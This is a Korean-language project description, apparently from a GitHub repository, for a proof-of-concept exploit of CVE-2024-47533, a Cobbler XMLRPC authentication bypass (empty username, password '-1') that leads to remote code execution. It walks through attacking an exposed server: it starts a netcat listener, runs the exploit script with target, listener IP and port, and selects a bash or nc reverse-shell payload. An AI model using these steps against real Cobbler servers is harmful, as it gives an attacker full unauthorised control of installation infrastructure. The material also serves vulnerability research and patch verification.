dollarboysushil/cve-2024-47533-cobbler-xmlrpc-authentication-bypass-rce-exploit-pocCVE-2024-47533은 Cobbler(버전 3.0.0에서 3.2.3 미만 및 3.3.7)의 심각한 인증 우회 취약점으로, XMLRPC 인터페이스를 통해 인증되지 않은 원격 코드 실행을 허용합니다.
⚠️ 인증 우회를 통한 Cobbler의 치명적인 원격 코드 실행 🛠️ @dollarboysushil의 PoC 구현
Cobbler는 네트워크 설치 환경의 신속한 설정을 가능하게 하는 Linux 설치 서버로, 버전 3.0.0에서 3.2.3 미만 및 3.3.7 미만의 버전에 인증 취약점이 있습니다. utils.get_shared_secret() 함수는 항상 -1을 반환하므로, 누구나 빈 사용자 이름('')과 비밀번호 -1로 Cobbler XML-RPC 인터페이스에 연결할 수 있습니다. 이를 통해 네트워크 접근 권한이 있는 공격자는 Cobbler 서버에 대한 완전한 제어권을 얻을 수 있습니다. 이 취약점은 버전 3.2.3 및 3.3.7에서 수정되었습니다.
취약점은 utils.get_shared_secret() 함수에서 공유 비밀번호를 부적절하게 처리하여 항상 -1을 반환하도록 되어 인증을 효과적으로 우회하는 데서 발생합니다. 이로 인해 모든 네트워크 사용자가 빈 자격 증명으로 Cobbler의 XMLRPC 인터페이스에 연결하고 임의의 명령을 실행할 수 있습니다.
http://<target>:25151/ — Cobbler의 XMLRPC API 엔드포인트
익스플로잇 스크립트는 다음과 같은 다양한 리버스 셸 페이로드를 지원합니다:
nc, nc2)자신의 머신에서 Netcat 리스너를 시작합니다:
nc -lvnp 4444
CVE-2024-47533-dbs.py 익스플로잇 스크립트를 실행합니다.
python3 CVE-2024-47533-dbs.py -t http://127.0.0.1:25151 -l 10.10.15.16 -p 4444 --payload bash
성공적으로 실행되면 리버스 셸이 리스너에 다시 연결되어 공격자에게 서버에 대한 원격 액세스 권한을 부여합니다.
